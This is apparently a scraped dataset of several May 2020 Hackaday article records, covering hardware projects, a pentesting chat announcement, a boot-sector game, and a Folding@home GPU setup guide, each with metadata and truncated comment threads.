The solution on Teensy 4.0 was to add surface-mount pads for some of the I/O. On Teensy 4.1, the luxurious board real estate allows many more pins to be broken out to headers on the board edge. This brings out an additional serial port, for a total of eight, plus additional analog and digital I/O. The new board also breaks out a full 16 contiguous bits of a GPIO port, which allows for fast, wide parallel I/O. If you’ve ever tried doing this using bits cobbled together from multiple ports, you’ll definitely appreciate not only the convenience, but also the speed this brings to port access.
Wrapping Up
So, what’s the value proposition here over the older Teensy 4.0? If you really want to take full advantage of the hardware available on the IMXRT1062, the 4.1 is the way to go: the larger stock and optional memories, extra pins broken out, Ethernet port, and convenience of the microSD socket and USB host port make this much easier. If you don’t need these extras, or simply need the smaller board size, the Teensy 4.0 is still around, and will save you a few bucks.
If you need a refresher on what the Teensy 4.0 brings to the table, and which the 4.1 builds on,
check out our review of that version
. | 83 | 17 | [
{
"comment_id": "6244563",
"author": "mike",
"timestamp": "2020-05-11T16:10:21",
"content": "” But, aside from that, just the inclusion of Ethernet on a microcontroller board is a big deal. Before this, you basically had two choices if you needed this kind of connectivity”Uh, No, not true. ESP32 wil... | 1,760,373,491.782565 | ||
https://hackaday.com/2020/05/11/pentesting-hack-chat-this-wednesday/ | Pentesting Hack Chat This Wednesday | Dan Maloney | [
"Hackaday Columns"
] | [
"penetration testing",
"pentest",
"security",
"social engineering",
"The Hack Chat",
"wireless"
] | Join us on Wednesday, May 13 at noon Pacific for the
Pentesting Hack Chat
with
Eric Escobar
!
Ask anyone in this community to name their dream jobs and chances are pretty good that penetration tester will be somewhere on the shortlist. Pentesters are allowed — nay, encouraged — to break into secure systems, to test the limits and find weak points that malicious hackers can use to gain access. The challenge of hacking and the thrill of potentially getting caught combined with no chance of prosecution? And you get paid for it? Sounds good to us!
Professional pentesting is not all cops-and-robbers fun, of course. Pentesters have to stay abreast of the latest vulnerabilities and know what weaknesses are likely to exist at a given facility so they know what to target. There are endless hours of research, often laborious social engineering, and weeks of preparation before actually attempting to penetrate a client site. The attack could be as complex as deploying wireless pentesting assets via FedEx, or as simple as sprinkling thumb drives in the parking lot. But when it comes, a pentest often reveals just how little return companies are getting on their security investment.
As a consultant for a security firm, Eric Escobar gets to challenge companies on a daily basis. He’s also a regular on the con circuit, participating in challenges like Wireless CTF at DEF CON… until he won too many times. Now he helps design and execute the challenges, helping to share his knowledge with other aspiring pentesters. And he’ll stop by the Hack Chat to do the same with us, and tell us all about the business of keeping other businesses in business.
Our Hack Chats are live community events in the
Hackaday.io Hack Chat group messaging
. This week we’ll be sitting down on Wednesday, May 13 at 12:00 PM Pacific time. If time zones have got you down, we have
a handy time zone converter
.
Click that speech bubble to the right, and you’ll be taken directly to the Hack Chat group on Hackaday.io. You don’t have to wait until Wednesday; join whenever you want and you can see what the community is talking about. | 3 | 2 | [
{
"comment_id": "6244692",
"author": "Switched",
"timestamp": "2020-05-12T01:38:21",
"content": "Cool to see HaD expanding a bit into netsec stuff. Anymore, the lines are getting real blurry between hardware and software.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comme... | 1,760,373,491.831684 | ||
https://hackaday.com/2020/05/11/a-more-open-raspberry-pi-camera-stack-with-libcamera/ | A More Open Raspberry Pi Camera Stack With Libcamera | Roger Cheng | [
"Raspberry Pi"
] | [
"camera",
"camera development",
"camera hack",
"camera sensor",
"video camera",
"Video driver"
] | As open as the Raspberry Pi Foundation has been about their beloved products, they would be the first to admit there’s always more work to be done: Getting a Pi up and running still requires many closed proprietary components. But the foundation works to chip away at it bit by bit, and one of the latest steps is the
release of a camera stack built on libcamera
.
Most Linux applications interact with the camera via V4L2 or a similar API. These established interfaces were designed back when camera control was limited and consisted of a few simple hardware settings. Today we have far more sophisticated computational techniques for digital photography and video. Algorithms have outgrown dedicated hardware, transforming into software modules that take advantage of CPU and/or GPU processing. In practice, this trend meant bigger and bigger opaque monolithic pieces of proprietary code. Every one a mix of “secret sauce” algorithms commingling with common overhead code wastefully duplicated for each new blob.
We expect camera makers will continue to devise proprietary specialties as they seek a competitive advantage. Fortunately, some of them see benefit in an open-source framework to help break up those monoliths into more manageable pieces, letting them focus on just their own specialized parts. Leveraging something like
libcamera
for the remainder can reduce their software development workload, leading to faster time to market, lower support cost, and associated benefits to the bottom line that motivates adoption by corporations.
But like every new interface design borne of a grandiose vision, there’s a chicken-and-egg problem. Application developers won’t consume it if there’s no hardware, and hardware manufacturers won’t implement it if no applications use it. For the consumer side, libcamera has modules to interop with V4L2 and other popular interfaces. For the hardware side, it would be useful to have a company with wide reach who believes it is useful to open what they can and isolate the pieces they can’t. This is where the Raspberry Pi foundation found a fit.
The initial release doesn’t support their new
High-Quality Camera Module
though that is promised soon. In the short term, there is still a lot of work to be done, but we are excited about the long term possibilities. If libcamera can indeed lower the barrier to entry, it would encourage innovation and expanding the set of cameras beyond the officially supported list. We certainly have no shortage of offbeat camera sensor ideas around here, from a
1-kilopixel camera sensor
to a
decapped DRAM chip
.
[via
Hackster.io
] | 15 | 5 | [
{
"comment_id": "6244573",
"author": "Gravis",
"timestamp": "2020-05-11T16:51:04",
"content": "After reading the FAQ, it sure reads like it’s just a way to integrate binary blobs into otherwise open source code. I’m not seeing how this benefits the community.",
"parent_id": null,
"depth": 1... | 1,760,373,491.885584 | ||
https://hackaday.com/2020/05/11/making-a-gorgeously-twisty-sculpture-using-only-flat-pieces/ | Making A Gorgeously-Twisty Sculpture, Using Only Flat Pieces | Donald Papp | [
"Art"
] | [
"art",
"gyroid",
"Laser cutting",
"sculpture",
"voronoi"
] | Closeup of unique pieces that make up the final scuplture.
The sculpture shown here is called
Puzzle Cell Complex
and was created by [Nervous System] as an art piece intended to be collaboratively constructed by conference attendees. The sculpture consists of sixty-nine unique flat panel pieces, each made from wood, which are then connected together without the need for tools by using plastic rivets. Everything fits into a suitcase and assembly documentation is a single page of simple instructions. The result is the wonderfully-curved gyroid pattern you see here.
The sculpture has numerous layers of design, not the least of which was determining how to make such an organically-curved shape using only flat panels. The five-foot assembled sculpture has a compelling shape, which results from the sixty-nine individual panels and how they fit together. These individual panel shapes have each been designed using a technique called
variational surface cutting
to minimize distortion, resulting in their meandering, puzzle-piece-like outlines. Each panel also has its own unique pattern of cutouts within itself, which makes the panels lighter and easier to bend without sacrificing strength. The short video embedded below shows the finished sculpture in all its glory.
We’ve always been delighted with the things [Nervous System] puts out, and you can read about
how they built a business around generative design
, and how they even
had their own custom plywood made
so that laser cutting their unique puzzles was more reliable. That last one is a good example of a proper engineering solution to a practical problem. When one has gone as far as possible with off-the-shelf items, it’s time to get something properly engineered to do exactly what’s needed. | 2 | 2 | [
{
"comment_id": "6244500",
"author": "Steven13",
"timestamp": "2020-05-11T11:25:59",
"content": "The sculpture consists of sixty-nine unique flat panel piecesNice",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6244611",
"author": "Drew",
"timestamp": "... | 1,760,373,492.046019 | ||
https://hackaday.com/2020/05/11/iron-pipe-makes-a-great-workbench/ | Iron Pipe Makes A Great Workbench | Jenny List | [
"Tool Hacks"
] | [
"bench",
"iron pipe",
"pipe",
"workbench"
] | It’s a frequently encountered problem in any workshop; how do you make a bench? And once you’ve made a bench, how do you put it on wheels to move it about? [Eric Strebel] needed a cart for his laser cutter, so he designed his own in an unexpected material:
malleable iron pipe
.
The attraction of iron pipe is its ready availability and ease of assembly. [Eric] created a sturdy table complete with a worktop made from a solid door in a very short time. T pieces and joiners were used, along with a hefty set of flanges for the tabletop itself. The casters are the expanding stem variety, with a compressed rubber insert expanding to hold them securely in place.
The result as can be seen in the video below is a really neat trolley for the cutter, followed quickly by another workbench. It would be interesting to know more about this material, parameters such as its wall thickness and lateral strength, because in a table without any cross-bracing it becomes important to avoid an untimely collapse.
The most common material for benches seems still to be wood, indicating that for such a technophile community we can be surprisingly conservative in our choices. Sometimes though,
benches are made from the most surprising things
. | 41 | 10 | [
{
"comment_id": "6244485",
"author": "Matt Brunton",
"timestamp": "2020-05-11T08:52:29",
"content": "Thumbnail title: “paint me like your French girls”",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6244486",
"author": "Adobe/Cloudfront (just a moment) ha... | 1,760,373,492.367171 | ||
https://hackaday.com/2020/05/10/lowering-the-boom-on-yagi-element-isolation/ | Lowering The Boom On Yagi Element Isolation | Dan Maloney | [
"Wireless Hacks"
] | [
"2.4 ghz",
"antnenna",
"boom",
"directional",
"driven",
"isolated",
"parasitic",
"wifi",
"yagi",
"yagi-uda"
] | Antenna design can be confusing, to say the least. There’s so much black magic that goes into antennas that newbies often look at designs and are left wondering exactly how the thing could ever work. Slight changes in length or the angle between two elements result in a vastly different resonant frequency or a significant change in the antenna’s impedance. It can drive one to distraction.
Particularly concerning are the frequent appearances of what seem to be dead shorts between the two conductors of a feedline, which
[andrew mcneil] explored with a pair of WiFi Yagi antennas
. These highly directional antennas have a driven element and a number of parasitic elements, specifically a reflector behind the driven element and one or more directors in front of it. Constructive and destructive interference based on the spacing of the elements and capacitive or inductive coupling based on their length determine the characteristics of the antenna. [Andrew]’s test antennas have their twelve directors either isolated from the boom or shorted together to the shield of the feedline. In side-by-side tests with a known signal source, both antennas performed exactly the same, meaning that if you choose to build a Yagi, you’ve got a lot of flexibility in what materials you choose and how you attach elements to the boom.
If you want to dive a little deeper into how the Yagi works, and to learn why it’s more properly known as the Yagi-Uda antenna, check out
our story on their history and operational theory
. And hats off to [andrew] for reminding us that antenna design is often an exercise in practicality; after all,
an umbrella and some tin cans
or even
a rusty nail
will do under the right circumstances. | 19 | 9 | [
{
"comment_id": "6244456",
"author": "Doug Jackson",
"timestamp": "2020-05-11T05:24:40",
"content": "This is an odd comment in the article:“Particularly concerning are the frequent appearances of what seem to be dead shorts between the two conductors of a feedline”Antennas are *designed* for a speci... | 1,760,373,492.136241 | ||
https://hackaday.com/2020/05/10/clear-some-space-and-build-a-cosmo-clock/ | Clear Some Space And Build A Cosmo Clock | Kristina Panos | [
"clock hacks",
"Microcontrollers"
] | [
"ESP8266",
"IFTTT",
"morse code",
"NodeMCU",
"reuse",
"space",
"wristwatch"
] | Like many of us, [Artistikk] is inspired by astronauts and space travel in general. To keep the inspiration coming, he made the Cosmo Clock —
a sleek little clock that changes color whenever an astronaut is launched into space
.
As awesome as space is, we’re inspired by the amount of Earth-saving reuse going on in this project. The actual time-telling is coming from a recycled wristwatch movement. [Artistikk] cut a bigger set of hands for it out of a plastic container, and used the lid from another container for the clock’s body.
The launch inquiries are handled by an ESP8266, which uses a Blynk app and some IFTTT magic to get notified whenever NASA yeets an astronaut into space. Then the ESP generates random RGB values and sends them to a single RGB LED. The clock body is small enough that a single LED is bright enough to light up all the parts that aren’t blacked out with thick paper. In case you’re wondering, the pattern around the edge isn’t random, it’s Morse code for ‘sky’, but you probably already knew that, right? Make a dash past the break to take the tour.
Clocks that wind up in space are much more complicated.
Check out this tear-down of the clock from a late-90s Soyuz spacecraft
. | 4 | 4 | [
{
"comment_id": "6244427",
"author": "RW ver 0.0.3",
"timestamp": "2020-05-11T02:04:49",
"content": "“The launch inquiries are handled by an ESP8266, which uses a Blynk app and some IFTTT magic to get notified whenever NASA yeets an astronaut into space. ”Heh, now I wanna do it as an animatronic NAS... | 1,760,373,492.085359 | ||
https://hackaday.com/2020/05/10/hackaday-links-may-10-2020/ | Hackaday Links: May 10, 2020 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links"
] | [
"hackaday links"
] | It’s a meme come true:
DEF CON is canceled
. Or at least canceled as the large, IRL conference that the hacker gathering has grown into. Rather than risk drawing people from all over the world and stuffing them into a Las Vegas convention hall in August, Dark Tangent has taken the prudent step of switching DEF CON 28 to a virtual meeting. If you’re interested in his reasoning behind the switch, check out
his blog post on the decision
. For more details on participating in DEF CON 28 in “Safe Mode”, see
the FAQ
.
Think that wearing a mask in public protects you from the surveillance state?
Think again
. Facial recognition software concern Rank One has announced new algorithms that only need to see your face from the mask up to make a match. It would seem to us that the limited number of mappable features in the periocular space would increase the error rate, and according to Rank One’s published data, that seems to be the case. But the relative error rate is still low, so expect to see this and similar periocular algorithms deployed widely. Your only defense may be to adopt
the tactical shemagh
as everyday wear. If only they made an N95 version.
The tech news this week was abuzz with descriptions of a new “non-fossil fuel jet engine” that could soon be powering aircraft devoid of paying passengers across our skies and perhaps directly into space using only battery power. Those reports were a bit overwrought since
the experiment in question
was a laboratory-scale setup using a magnetron that could have come from a smallish microwave to generate a plasma-air stream with 11 Newtons of thrust. That corresponds to an efficiency that beats that of current electric airplane engines, like those used on the Airbus E-Fan, if the extrapolation holds. So the technology is promising, but it still has a long way to go.
In what’s perhaps the longest beta in history,
Inkscape 1.0 was officially released this week
.
Something big — literally — is going on at Dalibor Farný’s Nixie tube factory.
He dropped a video
this week teasing the production of enormous Nixies for a large display installation. Each tube in the 11 by 11 tube display will be 150 mm in diameter, making them the largest Nixies ever made. Dalibor has already done much of the design work and has even started on the glasswork; the resulting tube looks a bit like the old
iconoscope tubes
from early TV cameras. We expect that scaling up a Nixie and producing 121 of them will present some interesting challenges, and we look forward to watching his progress.
If you’re part of a hackerspace, you should probably look at
Vancouver Hackspace’s virtual tour
. Not only does it show off what appears to be a great hackerspace, the video style is a great lesson in building up the excitement needed to recruit new members. There are also some great ideas in there about space layout and organization that you can leverage for your own hackerspace or even your home shop.
And finally, it’s Mother’s Day here in the US and almost 100 other countries, and circumstances may sadly keep many of us from being with Mom today. So here’s to the women who tolerated the often messy hobbies many of us pursued in our youths, who were always attentive audiences as we showed off our latest blinkenlights, and perhaps even inspired us to follow in their footsteps. Thanks, Mom! | 16 | 6 | [
{
"comment_id": "6244409",
"author": "gregg4",
"timestamp": "2020-05-10T23:28:45",
"content": "Um, Dan how did you find out about the DefCon decision? I sent in a tip about that yesterday in fact.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6244414",
... | 1,760,373,492.188118 | ||
https://hackaday.com/2020/05/10/no-more-floppy-drives-for-this-agilent-scope/ | No More Floppy Drives For This Agilent Scope | Al Williams | [
"Tool Hacks"
] | [
"agilent",
"oscilloscope",
"rs232",
"scpi",
"serial"
] | When [kiwih] picked up an Agilent 54621A scope, he was amused that it had a floppy disk. At one time, it was high-tech to use a disk to transfer scope data to your computer. Today, not so much. However, on the back was a serial port. Surely it was possible to read data from there. It is, and what results is a nice walkthrough of finding the port’s info and
interfacing with it using Python
.
Normally, you’d use the included BenchLinkXL software to grab data from the port, but that software is so old it would not run under Windows 10 or Wine. Searching didn’t turn up much on the serial port, but it did locate a manual for a similar Agilent scope. That manual wasn’t too helpful since it assumed you were connecting via a LAN or USB. However, it did make reference to an older model that was also similar and that was the key to finding a manual that did explain the serial port protocol.
The command set looks suspiciously like
SCPI
— Standard Commands for Programmable Instruments — which is a layer on top of the GPIB protocol. Many scopes speak that language, so that’s not surprising. That also means if you are in the mood to communicate with an SCPI scope, you might find the
code useful
, even if you don’t use a serial port or have this exact Agilent model.
SCPI has a lot of uses. For example, try
talking to your scope
. The cheap Rigol and similar scopes usually have SCPI and you can control and read them using the
same kind of techniques
. | 28 | 11 | [
{
"comment_id": "6244371",
"author": "gregg4",
"timestamp": "2020-05-10T20:14:43",
"content": "Um no. The program to use is one called VEE, which is still available from the Keysight website.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6244390",
"... | 1,760,373,492.250912 | ||
https://hackaday.com/2020/05/10/512-bytes-ought-to-be-enough-for-dinosaurs/ | 512 Bytes Ought To Be Enough For Dinosaurs | Sven Gregori | [
"Misc Hacks"
] | [
"boot image",
"dinosaur",
"google dinosaur game",
"nasm",
"qemu",
"Trex Runner",
"x86 assembly"
] | It’s said that slow internet is worse than no internet at all, which is mainly a matter of continuously crushing all hope and sanity vs. finding peace in accepting a fate out of your control. Plus, you can easily pass the time of being catapulted back to the prehistoric ages by navigating a jumpy little creature from that same age through a field of cacti — at least if you’re using Chrome or Chromium. But neither a browser nor actually an operating system are really necessary for that,
as [franeklubi] shows with a boot sector implementation
of the same game.
Sure, the graphics aren’t quite on par, but compared to the original’s 3000+ lines of JavaScript, [franeklubi] managed to implement it in a few hundred lines of assembly, and was of course constrained by the 512 bytes of the boot sector itself (well, 510 plus the signature). This constraint causes a few limitations, like a slight lack of randomness in the obstacle arrangements, and a constant running speed, but it also makes it the perfect playground and starting point to delve into the world of nifty knacks and hacks, trying to squeeze every last byte.
If you want to give it a try for yourself, all you need is NASM and QEMU — and while you’re at it,
why not have some Tetris along the way
? We could also see this nicely combined with
the real-world jumping version
from a few weeks back, and turn it into a standalone arcade game.
Bounce Crouch Revolution
anyone? | 9 | 4 | [
{
"comment_id": "6244332",
"author": "RW ver 0.0.1",
"timestamp": "2020-05-10T17:12:21",
"content": "“a standalone arcade game. Bounce Crouch Revolution anyone?”I have a very vague recollection of something like that, plugged as a 3D version of pitfall, where you had to jump and crouch logs and stuf... | 1,760,373,492.293183 | ||
https://hackaday.com/2020/05/10/help-us-throw-more-cycles-at-the-coronavirus-problem/ | Help Us Throw More Cycles At The Coronavirus Problem | Mike Szczys | [
"computer hacks",
"internet hacks"
] | [
"Covid-19",
"folding at home",
"folding@home",
"gpu",
"SARS-CoV-2"
] | The Hackaday community has answered the call and put their computers put to work folding proteins found in the coronavirus. Team_Hack-a-Day
ranks #44 in the world so far this month
, and I’ve seen us rank as high as #19 on 24-hour leaderboards.
Want to join the fight? Donate some of those computing cycles you’re not using to battling SARS‑CoV‑2. You’re probably not an epidemiologist or a vaccine researcher, but you can make their jobs easier by providing them with the data they need through
the Folding@home Project
.
As Dan Maloney explained in
his excellent article on protein folding
, understanding the incredibly complex folding behavior of the proteins in the virus will be key to finding treatments and possibly a vaccine. Folding@home connects countless computers via the internet and is now the largest supercomputer in the world, consisting of over 3.5 million CPUs and over half a million GPUs. The resulting data is freely available to researchers.
Let’s take a look at how easy it is to get up and running, how a GPU can supercharge a setup, and dip into the stats for Team_Hack-a-Day’s effort.
Setup is Simple
Your computer can be up and folding in ten minutes:
Installation Guides
There are also
alternate download locations
available
Choose any alias you’d like to use for publicly displayed leaderboard
Use team number
44851
Optional:
set up your own passkey
That’s it! But you’ll get more bang for your processing buck if you have a powerful video card in the mix. I finally got my own GPU running on the system and it quintupled my impact.
A Somewhat Dubious Guide to Linux GPU Setup
I have an Nvidia GeForce GTX 1050 Ti video card and I don’t game on this machine (unless you count Minecraft) so I might as well put it to good use folding proteins! Unfortunately, I couldn’t find a guide and the setup took me a while to work out. Hopefully by documenting my experience I can help others get their systems up and running a bit faster.
Folding@home can use GPUs via open OpenCL or CUDA (Nvidia cards only). I didn’t know exactly which packages I needed so I just installed them all. That’s why I call this a dubious install guide, you might not need all of these packages — for me, this install took about 1.5 GB of additional disk space. One note, I already had
nvidia-driver-435
installed and used this command for the rest:
sudo apt install \
ocl-icd-libopencl1 \
ocl-icd-opencl-dev \
ocl-icd-dev \
nvidia-opencl-dev \
nvidia-cuda-toolkit
I restarted the Folding@home client:
sudo /etc/init.d/FAHClient restart
. However, this didn’t enable the ability to add a GPU in the Configuration–>Slots menu. I first needed to edit the configuration file itself and change the “gpu” value to true:
<!-- Folding Slot Configuration -->
<gpu v='true'/> <!-- If true, attempt to autoconfigure GPUs -->
I once again restarted the client, then enabled the GPU using the add button found in the Configure–>Slots window of the FAHControl program. Alternatively you should be able to edit the config file directly and restart the client for it to take effect:
<!-- Folding Slots -->
<slot id='0' type='GPU'>
<idle v='true'/>
</slot>
<slot id='1' type='CPU'/>
Note that there’s a bit of extra magic in this configuration. After waiting about 90 minutes my GPU was assigned its first work unit (WU) and began folding, at which point my computer became totally unusable. Luckily the idle setting is how you workaround this — it instructs the client to pause folding whenever the computer is in use. You can configure it per slot, so here I have my CPU folding all the time and my GPU only folds when I’m not using my computer.
You can set the idle behavior by right-clicking the slot in the FAHControl GUI and choosing “on idle”. My CPU can fold for about 60,000 points a day, my GPU can fold for over 200,000 points per day. Figuring out this setup greatly increases my ability to contribute WUs to the effort!
Top of the Team_Hack-a-Day Leaderboard
Check out the people folding and
putting up huge numbers for Team_Hack-a-Day
. At the very top is [sfops], the operations team at Hackaday’s parent company Supplyframe. They’ve directed their idle server resources to folding, and have been in the number one slot for at least six weeks now. [zombu2] has been in the top five for that period as well!
We’d love to see others commit big iron to the cause, and can’t wait to hear your story about that in the comments below. But as I mentioned in the GPU setup section, my daily driver is capable of putting up a quarter million points per day. What we really need are strength in numbers, so please consider adding your own computer to the effort. Thank you to everyone who is pitching in!
Joins us and let your computer mine for something that really matters: massive data sets for crucial medical research.
Go
Team_Hack-a-Day
! | 45 | 10 | [
{
"comment_id": "6244300",
"author": "R77",
"timestamp": "2020-05-10T14:28:12",
"content": "How hard would it be to create an xbox/playstation app to help with this?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6244315",
"author": "chuck weiss",
... | 1,760,373,492.458848 | ||
https://hackaday.com/2020/05/10/pulling-a-crystal-by-grinding-it/ | Pulling A Crystal By Grinding It | Jenny List | [
"Radio Hacks"
] | [
"am",
"crystal",
"radio",
"Top Band"
] | If you own a radio transmitter, from a $10 Baofeng handheld to a $1000 fancy all-band transceiver, setting the frequency is simply a case of dialing in where you want to go. A phase-locked-loop frequency synthesizer or a software-defined radio will generate your frequency, and away you go. There was a time though when synthesizers were impossibly complex and radio amateurs were faced with a simple choice. Use an LC oscillator and put up with drifting in frequency, or use a crystal oscillator, and be restricted to only the frequencies of the crystals you had. [Mark Erdle, AE2EA] modified a 1950s broadcast AM broadcast transmitter for the 1.8MHz amateur band, and his friend [Andy Flowers, K0SM] thought it needed its crystal back for originality rather than the external frequency source [Mark] had provided.
He documents the process of modifying a crystal oven and moving a crystal frequency
in the video below the break.
A crystal oven is a unit containing the crystal itself alongside a thermostatic heater, and in this one, the crystal was a 1970s-vintage hermetically sealed HC6 device. He modified the oven to take a socket for older FT243 crystals because the quartz element can easily be accessed. [Andy] picked a crystal as close as he could find below the required frequency. He then ground it down with very fine grit on a glass plate, reducing its mass and thus its resonant frequency. We’re taken through the process of getting it close to frequency, but sadly don’t see the etching that he uses for the very last stage. At the end of the video, we see a QSO on the transmitter itself, which is something of an oddity in an age when AM on amateur bands has been supplanted by other modes for decades.
If you’re curious about the transmitter there’s
a video thread following its restoration
, and if the guts of older radio gear interests you then take a look at
this aircraft receiver lovingly brought back to life
. | 29 | 12 | [
{
"comment_id": "6244279",
"author": "Matt Brunton",
"timestamp": "2020-05-10T12:25:23",
"content": "I seem to remember reading about this, possibly in an old RSGB manual, with the suggestion that if you ground too much off the crystal (thus making it resonate at too high a frequency) you could brin... | 1,760,373,492.529166 |
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